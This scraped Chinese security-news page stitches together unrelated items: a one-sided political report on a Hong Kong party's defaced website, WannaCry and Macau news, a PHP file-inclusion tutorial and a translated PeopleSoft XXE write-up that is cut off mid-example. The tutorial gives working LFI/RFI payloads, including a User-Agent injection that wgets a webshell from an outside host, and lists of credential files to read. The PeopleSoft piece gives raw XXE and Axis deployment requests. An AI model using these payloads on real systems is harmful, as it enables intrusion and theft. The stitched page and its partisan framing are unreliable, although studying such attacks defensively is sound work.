香港众志网页被入侵 內容变反港独撑释法

近日,“港独”份子在香港的各大学校内张贴“港独”海报一事在网上引起大规模争论。不少网民更是自发在脸书等社交媒体上表达自己对这一事件的不满。

据香港《立场新闻》9月9日报道,“港独”组织“香港众志”表示,该政党的网页今日被黑客入侵,导致网站停运,网站内容更被改为爱国内容。“香港众志”表示,对网页内容毫不认同,谴责黑客的非法行为。

“香港众志”网页截图

《立场新闻》记者今早无法进入“香港众志”网页,浏览器Chrome警告“攻击者可能会试图从 www.demosisto.hk 窃取你的信息 (例如密码、邮件或信用卡资料)”。

根据香港众志在脸书贴出的截图,网页内容被改为一张黄之锋的漫画,并有大量简体字标语,包括“反‘港独’撑释法”、“捍卫中国领土”、“以本土之名行分裂之实”等,也有在早前中大“港独”标语事件中、内地学生广泛使用的标签“CUSU IS NOT CU”(中大学生会不代表中大学生)。

“香港众志”脸书上传网页被黑页面

“香港众志”在早上约11时半再发表声明,指技术人员目前正在修复网页。“香港众志”声称,去年人大释法,取消民选议员资格,是“剥夺逾十八万选民选举权利,令香港步向三权合作的威权体制”。

声明还扬言,“有关黑客杜撰‘香港众志’成员支持释法,实属幼稚的民族主义操作”。

9月8日,因“煽惑他人参与非法集会罪”和“参与非法集会罪”被判入狱的“香港众志”秘书长黄之锋,更是在脸书上发文扬言,“希望大家关注近日学界民主墙事件,不但只是中大问题,而是整个学界的言论自由受到打击。”

黄之锋脸书截图

“港独”组织“香港众志”由学民思潮和香港学联前成员牵头组成。前学联秘书长罗冠聪担任主席,学民思潮前召集人黄之锋,则担任秘书长。

该政党以“民主自决”为纲领,以“自发、自立、自主和自决”为目标,提出“以直接行动、策动公投和非暴力抗争,推动政经自主、实践民主治港”。

而黄之锋、罗冠聪等人正是2014年“占中”事件、以及暴力冲击政府总部东翼前地广场等事件的组织人、主要搞手。

“香港众志”成立后,多次拉拢香港传统反对派,勾结“台独”势力,甚至鼓吹要引入外国势力,恶意抹黑港人引以为傲的司法制度,干扰“一国两制”的实施。

8月17日,黄之锋、罗冠聪以及时任香港专上学生联会常委、秘书长周永康被判以“煽惑他人参与非法集会罪”和“参与非法集会罪”。法院裁定黄之锋即时监禁6个月、罗冠聪即时监禁8个月、周永康即时监禁7个月。

然而,本来入狱是令违法者有悔过的机会,但港媒却形容黄之锋3人以及新界东北案13人坐的是“风流监狱”。

“东北支援组”、“社民连”、“香港众志”及“大专政关”等反对派社团发起成立所谓的“在囚抗争者支援基金”,声称以400万港币为目标。其中145万港币用作16名入狱者的“定额津贴”,每人每月能领1万港币“支援金”。

除此之外,更有一批反对派议员滥用“公务探访”制度探监“解闷”,为其减少狱中工作。据悉,这些人入狱后12天内至少探监13次,密集的探监令16人无须按时工作。有建制派人士及学者狠批反对派派议员滥用特权及探监制度。

而身处监狱的16人不但个人脸书持续更新,更通过撰写信件或“中间人”转述的方式,继续对外散播“公民抗命”、“违法达义”等歪理,毫无悔改之意。0daybank

美军方竟存在被WannaCry勒索病毒感染的电脑 原因成谜

E安全5月18日讯 据报道,WannaCry索病毒感染了美国陆军研究实验室(ARL)一台电脑。某安全厂商提供的受影响IP地址列表显示,其中一个IP与美国军方研究实验室有关。这是首个美国联邦政府遭遇WannaCry勒索软件感染的案例。

美军方竟存在被WannaCry勒索病毒感染的电脑 原因成谜-E安全

美国陆军研究实验室电脑被感染

据不愿透露名称的安全公司发现,这个受害IP地址于5月12与攻击者已知的命令与控制服务器(C&C)块有过通信。经证实,WannaCry勒索软件成功感染了美国陆军研究实验室的电脑。这个IP地址与亚利桑那州Fort Huachuca主机上的服务器相连。至于IP地址所属的电脑类型,尚不清楚。

美军方竟存在被WannaCry勒索病毒感染的电脑 原因成谜-E安全

虽然美国陆军研究实验室位于马里兰州的阿德尔菲,Fort Huachuca基地就是这个实验室设的多个基地之一。Fort Huachuca基地还是美国陆军网络企业技术命令(NETCOM)和信息系统工程命令(USAISC)所在地。

美国陆军研究实验室公共事务官员汤姆·莫耶未证实也未否认该信息。他指出,ARL非常重视网络安全,不会公开讨论确保网络完整性的系统和方法。

首个被感染的美国地方政府

据报告,美国当地时间周一,美国政府位于伊利诺斯州库克县的政府办事处被WannaCry感染,这是首个地方政府遭遇WannaCry勒索病毒的案例。

然而,白宫国土安全顾问托马斯·博塞特发表声明称,联邦系统未被感染。

WannaCry勒索病毒于上周爆发以来,感染范围之大,影响之广。这款勒索软件利用NSA的恶意代码扩进行扩散。

神秘的黑客组织“Shadow Brokers”(影子经纪人)从去年8月就开始泄露大量NSA黑客工具,包括扩散WannaCry的“永恒之蓝”(ETERNALBLUE)。

美军方竟存在被WannaCry勒索病毒感染的电脑 原因成谜-E安全

E安全图解:目前全球被WannaCry勒索软件感染的热力图

尽管WannaCry造成欧洲大量组织机构无法正常运作,但美国官员表示,美国在很大程度上控制了WannaCry。

国土安全部的一名官员周二向记者透露,目前为止,向DHS报告遭遇感染的组织机构不到十家。事实证明,美国受到WannaCry勒索软件的影响的确较小。反过来,从另一个角度来说,除美国以外的其他网络发展较为迅速的国家,受感染的情况就相对严重得多了。

相关阅读:

勒索病毒国内蔓延 多地出入境系统受影响瘫痪
勒索病毒袭击事件,或是挑战现有金融秩序格局的导火索?
勒索病毒愈演愈烈 珠海紧急停办公积金
“永恒之蓝”勒索病毒已波及150国20万台计算机设备
谷歌卡巴斯基等发现勒索病毒幕后黑手或来自朝鲜
二轮攻击来了:勒索病毒2.0每小时感染3600台电脑
俄罗斯在这波WanaCry勒索病毒攻击风暴中损失惨重
Wannacry勒索软件蠕虫近期传播态势
如果你没被WannaCry感染就一定要小心Adylkuzz

E安全注:本文系E安全独家编译报道,转载请联系授权,并保留出处与链接,不得删减内容。联系方式:① 微信号zhu-geliang ②邮箱[email protected]
@E安全,最专业的前沿网络安全媒体和产业服务平台,每日提供优质全球网络安全资讯与深度思考,欢迎关注微信公众号「E安全」(EAQapp),或登E安全门户网站www.easyaq.com , 查看更多精彩内容。0day

澳门将设网络安全预警中心以统一防范体系

新华社澳门5月17日电(记者刘畅)中国澳门特区政府保安司司长黄少泽17日表示,保安司去年年底已完成网络安全法案并提交予行政会,之后会进行相关探讨。根据法案,将设立一个网络安全预警中心,当发现有网络风险情况会实时向社会发布。

澳门将设网络安全预警中心以统一防范体系-E安全

黄少泽当日出席“突发事件的应急处置及善后策略”研讨会后表示,司法警察局及治安警察局至目前为止未接到“勒索软件”的相关报案。他称,特区政府由2015年开始已就设立网络安全中心进行研究,以更好地统一全澳网络安全的防范体系,去年年底已完成相关的网络安全法案及提交予行政会,之后会进行相关的探讨。

根据法案的初步设计,包括几方面的措施,其中最重要是设立一个网络安全预警中心,由行政公职局、邮电局及司警局等3个部门组成,各有分工。预警中心将包括决策机构、执行机构及咨询机构,当发现有网络风险情况会实时向社会发布,同时对关键基础设施网络安全进行防范。0day

常见文件包含发生场景与防御

http://p7.qhimg.com/t01c7abd33c8a0fdd0f.jpg

前言


PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的。而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞。利用PHP文件包含漏洞入侵网站也是主流的一种攻击手段。本文对PHP文件包含漏洞的形成、利用技巧及防范进行了详细的分析,希望对大家攻击方法和防御上有帮助。如果内容有错误纰漏,请留言指正哦~

一、 文件包含概念


1、 概念

“代码注入”的典型代码就是文件包含(File Inclusion),我的理解是叫”外部数据流包含”,至于这个外部数据流是什么,可以是文件,也可以是POST数据流的形式。

文件包含可能会出现在JSP,PHP,ASP等语言中。

http://p7.qhimg.com/t01ea3cc5f026c236cc.png

我们这里主要以PHP为例。

简单的来说,就是我们用一个可控的变量作为文件名并以文件包含的的方式调用了它,漏洞就产生了。以PHP为例文件包含漏洞可以分为RFI(远程文件包含)和LFI(本地文件包含漏洞)两种。而区分他们最简单的方法就是php.ini中是否开启了allow_url_include。如果开启了我们就有可能包含远程文件。

1、本地文件包含LFI(Local File Include)

2、远程文件包含RFI(Remote File Include)(需要php.ini中allow_url_include=on)

2、 函数

PHP中四个包含文件的函数:

1)include():

当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。

2)include_once(): 

功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。

3)require(): 

1.require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。

2.使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到该函数时才调用。

4)require_once(): 

它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

区别:

include(),include_once()在包含文件时,即使遇到错误,只生成警告(E_WARNING),下面的代码依然会继续执行;

而require()和require_once()则会报错,生成致命错误(E_COMPILE_ERROR)并停止脚本,直接退出程序。

因此,如果您希望继续执行,并向用户输出结果,即使包含文件已丢失,那么使用 include。否则,在框架、CMS 或者复杂的 PHP 应用程序编程中,请始终使用 require 向执行流引用关键文件。这有助于在某个关键文件意外丢失的情况下,提高应用程序的安全性和完整性。

参考:

W3School PHP include文件:http://www.w3school.com.cn/php/php_includes.asp

文件包含漏洞总结:http://byd.dropsec.xyz/2016/07/19/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

二、 主要包含形式


1、包含本地文件

页面后端php文件”main.php”测试代码:

http://p1.qhimg.com/t01774f3b1102a5e2cb.png

http://p1.qhimg.com/t0143862d6a1a79dca9.png

payload:

1
2
3
http://www.aaa.com/include/main.php?page=C:\\oneword
www.aaa.com/file.php?file=C:\\boot.ini(Windows查看系统版本)
www.aaa.com/file.php?file=C:\\Windows\System32\inetsrv\MetaBase.xml(Windows查看IIS配置文件)

(绝对路径)

1
2
3
http://www.aaa.com/include/main.php?page=../../oneword
www.aaa.com/main.php?page=../../../../../etc/passwd
www.aaa.com/main.php?page=../../../../../proc/self/environ

(相对路径)

2、包含远程文件

payload:

1
2
http://www.aaa.com/include/url.php?url=http://www.bbb.com/2.txt
http://www.aaa.com/include/url.php?url=[http|https|ftp]://www.bbb.com/2.txt(可以有三种,http、https、ftp)

参考:

Exploiting PHP File Inclusion – Overview:https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

三、 文件包含技巧


1、包含上传文件

这个很好理解,也是最简单的一种办法。如果用户上传的文件内容中包含PHP代码,那么这些代码被文件包含函数加载后将会被执行。但能否攻击成功,取决于上传功能的设计,比如需要知道上传文件存放的物理路径,还需要上传的文件有执行权限。

防御:

1)做好上传限制

2)隐藏文件路径

3)设置文件访问、执行权限

2、伪协议

1) php://input

说明:

用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。

条件:

php <5.0 ,allow_url_include=Off 情况下也可以用

php > 5.0,只有在allow_url_fopen=On 时才能使用

用例1 增加一句话:

URL:

1
http://localhost/include/file.php?file=php://input

POST:

1
<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>

http://p3.qhimg.com/t01d810b4fe4c219ac7.png

结果将在file.php所在文件下的文件shell.php内增加”<?php phpinfo();?>”一句话。

http://p8.qhimg.com/t012e5426ec7d4e0301.png

用例2 增加文件:

URL:

1
http://localhost/include/file.php?file=php://input

POST:

1
<?php fputs(fopen("oneword.php","w"),"<?php phpinfo();?>") ?>

这里fopen参数为w,可新建一个文件。

用例3 执行系统命令:

URL:

1
http://localhost/include/file.php?file=php://input

POST:

1
<?php system('ipconfig');?>

http://p2.qhimg.com/t010d454e482e30f635.png

2)data://

说明:

这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)

利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中

条件:

1
2
allow_url_include=On
php > 5.2

用例1 文字命令:

后台php代码:

http://p0.qhimg.com/t0115e2ffb6556a534f.png

Payload:

1
2
http://localhost/file.php?file=data:text/plain,<?php system(whoami)?>
http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==

(使用了base64加密的内容)

用例2 图片命令:

后台php代码:

http://p1.qhimg.com/t019710ca2c411d705d.png

Payload:

1
http://localhost/image.php?imagedata=data://image/jpeg;base64,.....

(后面加上图片木马)

参考:

data://手册:http://www.php.net/manual/zh/wrappers.data.php

3)php://filter

说明:

这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过来:

?page=php://filter/read=convert.base64-encode/resource=php.ini

访问上述URL后会返回config.php中经过Base64加密后的字符串,解密即可得到源码

http://p2.qhimg.com/t0128370b14235ad0d6.png

解码之后得到:

http://p0.qhimg.com/t011debe472d9e246cb.png

即为php.ini内容。

Payload:

1
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\\oneword

(绝对路径)

1
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=../../oneword

(相对路径)

1
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt

(远程文件)

参考:

《php:// 》:http://php.net/manual/zh/wrappers.php.php

3、包含日志文件

说明:

比如Web服务器的访问日志文件,这是一种通用的技巧。因为几乎所有网站都会将用户的访问记录到访问日志中。因此,攻击者可以向Web日志中插入PHP代码,通过文件包含漏洞来执行包含在Web日志中的PHP代码。下面的案例中就是利用该技巧成功获取到目标网站的WebShell的。但需要注意的是,如果网站访问量大的话,日志文件可能会非常大,这时如果包含一个这么大的文件时,PHP进程可能会卡死。一般网站通常会每天生成一个新的日志文件,因此在凌晨时进行攻击相对来说容易成功。

1)日志默认路径

(1) apache+Linux日志默认路径

1
/etc/httpd/logs/access_log

或者

1
/var/log/httpd/access_log

(2) apache+win2003日志默认路径

1
2
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003默认日志文件

1
C:\WINDOWS\system32\Logfiles

(4) IIS7.0+win2003 默认日志文件

1
%SystemDrive%\inetpub\logs\LogFiles

(5) nginx 日志文件在用户安装目录的logs目录下

如安装目录为/usr/local/nginx,则日志目录就是在/usr/local/nginx/logs里

也可通过其配置文件Nginx.conf,获取到日志的存在路径(/opt/nginx/logs/access.log)

2)web中间件默认配置

(1) apache+linux 默认配置文件

1
/etc/httpd/conf/httpd.conf

或者

1
index.php?page=/etc/init.d/httpd

(2) IIS6.0+win2003 配置文件

C:/Windows/system32/inetsrv/metabase.xml

(3) IIS7.0+WIN 配置文件

C:\Windows\System32\inetsrv\config\applicationHost.config

3)网站配置文件

dedecms数据库配置文件data/common.inc.php,

discuz全局配置文件config/config_global.php,

phpcms配置文件caches/configs/database.php

phpwind配置文件conf/database.php

wordpress配置文件wp-config.php

用例1 包含日志一句话:

PayLoad:

1
http://localhost/include/file.php?file=<?php phpinfo(); ?>

日志会记录客户端请求及服务器响应的信息,访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent

http://p4.qhimg.com/t019e81705c428f8109.png

但是在日志里这句话被编码了

http://p2.qhimg.com/t01ef9a98fbe789ff7a.png

所以用Burp Suite修改来绕过编码

http://p1.qhimg.com/t013423bd6470b4753d.png

日志内容如下:

Payload:

1
http://localhost/include/file.php?file=../../apache/logs/access.log

(这里利用相对路径,找到日志文件,并以php解析的方式打开了)

http://p7.qhimg.com/t01a0accba3adf423dc.png

这样,日志就成了带有一句话的文件了。

参考:

包含日志文件getshell:http://www.cnblogs.com/my1e3/p/5854897.html

4、包含/proc/self/environ文件

用例:

1)找到文件包含漏洞

测试一下找出来

1
2
www.aaa.com/view.php?page=../
www.aaa.com/view.php?page=../../../../../etc/passwd

2)检查proc/self/environ是否可用访问

1
www.aaa.com/view.php?page=../../../../../proc/self/environ

可访问就能利用了

3)注入代码

访问

1
www.aaa.com/view.php?page=../../../../../proc/self/environ

选择User-Agent 写代码如下:

1
<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>

然后提交请求。

我们的命令将被执行(将下载http://www.yourweb.com/oneword.txt,并将其保存为它在shell.php网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器.

4)访问shell即可

参考:

LFI通过proc/self/environ直接获取webshell:http://www.linuxso.com/jiaobenruqin/1399.html

5、包含Session文件

说明:

这部分需要攻击者能够控制部分Session文件的内容。PHP默认生成的Session文件一般存放在/tmp目录下。

session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个shell。

http://p0.qhimg.com/t01f57768a0eddad10a.jpg

读取session文件:

1
?file=../../../../../../tmp/sess_1sv3pu01f97dp3qcfef8i2b9r2

四、 防御与绕过


1、00字符截断(PHP<5.3.4)

说明:

PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。

1
../etc/passwd\0

通过web输入时,只需UrlEncode,变成:

1
../etc/passwd%00

字符串截断的技巧,也是文件包含中最常用的技巧

防御方法:

在一般的web应用中,0字节用户其实是不需要的,因此完全可以禁用0字节

2、 超长字符截断

采用00字符过滤并没有完全解决问题,

利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。

http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html

我们知道目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。

而利用”./”的方式即可构造出超长目录字符串:

http://p3.qhimg.com/t010c6ea7363ed32614.png

除了incldue()等4个函数之外,PHP中能够对文件进行操作的函数都有可能出现漏洞。虽然大多数情况下不能执行PHP代码,但能够读取敏感文件带来的后果也是比较严重的。例如: fopen()、fread()

3、任意目录遍历

除了这种攻击方式,还可以使用”../../../”这样的方式来返回到上层目录中,这种方式又被称为”目录遍历(Path Traversal)”。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF)

http://p4.qhimg.com/t0112f3decbf824933c.png

防御方法:

目录遍历漏洞是一种跨越目录读取文件的方法,但当PHP配置了open_basedir时,将很好地保护服务器,使得这种攻击无效。

open_basedir的作用是限制在某个特定目录下PHP能打开的文件(有点像chroot的感觉)

比如在没有设置open_basedir时,文件包含漏洞可以访问任意文件。

当设置了open_basedir时,则包含文件失败。

4、问号截断

http://p1.qhimg.com/t01c9c996c616b5310f.png

这里看似将路径的后半段都定死了,但是结合HTTP传参的原理可以绕过去

攻击者可以构造类似如下的攻击URL:

1
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?

产生的原理:

1
/?path=http://localhost/test/solution.php?

最终目标应用程序代码实际上执行了:

1
require_once "http://localhost/test/solution.php?/action/m_share.php";

(注意,这里很巧妙,问号”?”后面的代码被解释成URL的querystring,这也是一种”截断”思想,和%00一样)

攻击者可以在http://localhost/test/solution.php上模拟出相应的路径,从而使之吻合

防御思路:

关闭远程文件包含的配置选项allow_url_include = Off

参考:

LFI、RFI、PHP封装协议安全问题学习:http://www.cnblogs.com/littlehann/p/3665062.html

五、 敏感文件位置


1、Windows:

1
2
3
4
5
6
7
8
  C:\boot.ini  //查看系统版本
  C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
  C:\Windows\repair\sam  //存储系统初次安装的密码
  C:\Program Files\mysql\my.ini  //Mysql配置
  C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
  C:\Windows\php.ini  //php配置信息
  C:\Windows\my.ini  //Mysql配置信息
  ...

2、Linux:

1
2
3
4
5
6
7
8
9
10
11
12
13
  /root/.ssh/authorized_keys
  /root/.ssh/id_rsa
  /root/.ssh/id_ras.keystore
  /root/.ssh/known_hosts
  /etc/passwd
  /etc/shadow
  /etc/my.cnf
  /etc/httpd/conf/httpd.conf
  /root/.bash_history
  /root/.mysql_history
  /proc/self/fd/fd[0-9]*(文件标识符)
  /proc/mounts
  /porc/config.gz

六、 防御方法总结


1、无需情况下设置allow_url_include和allow_url_fopen为关闭

2、对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir

3、尽量不使用动态包含

4、严格检查变量是否已经初始化。

5、建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。

6、严格检查include类的文件包含函数中的参数是否外界可控。

7、不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。

8、在发布应用程序之前测试所有已知的威胁。


本文转载自 神月资讯
原文链接:http://mp.weixin.qq.com/s/XDwlj6pRx4bQWtNkv_QnVg0day

Oracle旗下PeopleSoft产品被曝存在未授权远程代码执行漏洞

http://p9.qhimg.com/t013fe6976cf440bc87.png

翻译:WisFree

预估稿费:170RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

Oracle PeopleSoft


在几个月以前,我有幸得到了审查Oracle PeopleSoft解决方案的机会,审查对象包括PeopleSoft HRMS和PeopleTool在内。除了几个没有记录在案的CVE之外,网络上似乎没有给我提供了多少针对这类软件的攻击方法,不过ERPScan的技术专家在两年前发布的这份演讲文稿倒是给我提供了不少有价值的信息。从演示文稿中我们可以清楚地了解到,PeopleSoft简直就是一个装满了漏洞的容器,只不过目前还没有多少有关这些漏洞的公开信息而已。

PeopleSoft应用包含各种各样不同的终端节点,其中很大一部分节点是没有经过身份验证的。除此之外,很多服务正好使用的仍是默认密码,这很有可能是为了更好地实现互联互通性才这样设计的。但事实证明,这种设计不仅是非常不安全的,而且也十分不明智,而这将会让PeopleSoft完全暴露在安全威胁之中。

在这篇文章中,我将会给大家介绍一种能够将XXE漏洞转换成以SYSTEM权限运行命令的通用方法,几乎所有的PeopleSoft版本都会受到影响。

XXE:访问本地网络


目前该产品中已知的XXE漏洞已经有很多了,例如CVE-2013-3800CVE-2013-3821。ERPScan在演示文稿中记录的最后一个漏洞样本为CVE-2017-3548,简单来说,这些漏洞将允许我们提取出PeopleSoft和WebLogic控制台的登录凭证,但拿到这两个控制台的Shell绝非易事。除此之外,由于最后一个XXE漏洞为Blind-XXE,因此我们假设目标网络安装有防火墙软件,并且增加了从本地文件提取数据的难度。

CVE-2013-3821:集成网关HttpListeningConnector XXE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://localhost:51420">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>

CVE-2017-3548:集成网关PeopleSoftServiceListeningConnector XXE

1
2
3
4
5
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<!DOCTYPE a PUBLIC "-//B/A/EN" "C:\windows">

在这里,我们准备利用这些XXE漏洞来访问localhost的各种服务,并尝试绕过防火墙规则或身份认证机制,但现在的问题是如何找到服务所绑定的本地端口。为了解决这个问题,我们可以访问服务的主页,然后查看cookie内容:

1
Set-Cookie: SNP2118-51500-PORTAL-PSJSESSIONID=9JwqZVxKjzGJn1s5DLf1t46pz91FFb3p!-1515514079;

我们可以看到,当前服务所使用的端口为51500。此时,我们就可以通过http://localhost:51500/来访问应用程序了。

Apache Axis


其中一个未进行身份验证的服务就是Apache Axis 1.4服务器,所在的URL地址为http://website.com/pspc/services。Apache Axis允许我们在Java类中通过生成WSDL和帮助代码来构建SOAP终端节点并与之进行交互。为了管理服务器,我们必须与AdminService进行交互。URL地址如下:http://website.com/pspc/services/AdminService。

为了让大家能够更好地理解,我们在下面给出了一个演示样例。在下面这个例子中,一名管理员基于java.util.Random类创建了一个终端节点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /pspc/services/AdminService
Host: website.com
SOAPAction: something
Content-Type: application/xml
...
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <ns1:deployment
            xmlns="http://xml.apache.org/axis/wsdd/"
            xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
            xmlns:ns1="http://xml.apache.org/axis/wsdd/">
            <ns1:service name="RandomService" provider="java:RPC">
                <ns1:parameter name="className" value="java.util.Random"/>
                <ns1:parameter name="allowedMethods" value="*"/>
            </ns1:service>
        </ns1:deployment>
    </soapenv:Body>
</soapenv:Envelope>

这样一来,java.util.Random类中的每一个公共方法都可以作为一个Web服务来使用了。在下面的例子中,我们通过SOAP来调用Random.nextInt():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /pspc/services/RandomService
Host: website.com
SOAPAction: something
Content-Type: application/xml
...
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <api:nextInt />
    </soapenv:Body>
</soapenv:Envelope>

响应信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
HTTP/1.1 200 OK
...
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
    xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <soapenv:Body>
        <ns1:nextIntResponse
            soapen
            xmlns:ns1="http://127.0.0.1/Integrics/Enswitch/API">
            <nextIntReturn href="#id0"/>
        </ns1:nextIntResponse>
        <multiRef id="id0" soapenc:root="0"
            soapen
            xsi:type="xsd:int"
            xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
            1244788438 <!-- Here's our random integer -->
        </multiRef>
    </soapenv:Body>
</soapenv:Envelope>

虽然这个管理员终端节点已经屏蔽了外部IP地址,但是当我们通过localhost来访问它时却不需要输入任何的密码。因此,这里也就成为了我们的一个攻击测试点了。由于我们使用的是一个XXE漏洞,因此POST请求在这里就不可行了,而我们需要一种方法来将我们的SOAP Payload转换为GET请求发送给主机服务器。

Axis:从POST到GET


Axis API允许我们发送GET请求。它首先会接收我们给定的URL参数,然后再将其转换为一个SOAP Payload。下面这段Axis源代码样例会将GET参数转换为一个XML Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class AxisServer extends AxisEngine {
    [...]
    {
        String method = null;
        String args = "";
        Enumeration e = request.getParameterNames();
        while (e.hasMoreElements()) {
            String param = (String) e.nextElement();
            if (param.equalsIgnoreCase ("method")) {
                method = request.getParameter (param);
            }
            else {
                args += "<" + param + ">" + request.getParameter (param) +
                        "</" + param + ">";
            }
        }
        String body = "<" + method + ">" + args + "</" + method + ">";
        String msgtxt = "<SOAP-ENV:Envelope" +
                " xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\">" +
                "<SOAP-ENV:Body>" + body + "</SOAP-ENV:Body>" +
                "</SOAP-ENV:Envelope>";
    }
}

为了深入理解它的运行机制,我们再给大家提供一个样例:

1
2
3
4
GET /pspc/services/SomeService
     ?method=myMethod
     &parameter1=test1
&parameter2=test2

上面这个GET请求等同于:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <myMethod>
            <parameter1>test1</parameter1>
            <parameter2>test2</parameter2>
        </myMethod>
    </soapenv:Body>
</soapenv:Envelope>

然而,当我们尝试使用这种方法来设置一个新的终端节点时,系统却出现了错误。我们的XML标签必须有属性,但我们的代码却做不到这一点。当我们尝试在GET请求中添加标签属性时,情况如下:

1
2
3
4
GET /pspc/services/SomeService
     ?method=myMethod+attr0="x"
     &parameter1+attr1="y"=test1
&parameter2=test2

但我们得到的结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <myMethod attr0="x">
            <parameter1 attr1="y">test1</parameter1 attr1="y">
            <parameter2>test2</parameter2>
        </myMethod attr0="x">
    </soapenv:Body>
</soapenv:Envelope>

很明显,这并不是有效的XML代码,所以我们的请求才会被服务器拒绝。如果我们将整个Payload放到方法的参数中,比如说这样:

1
2
GET /pspc/services/SomeService
?method=myMethod+attr="x"><test>y</test></myMethod

此时我们得到的结果如下:

1
2
3
4
5
6
7
8
9
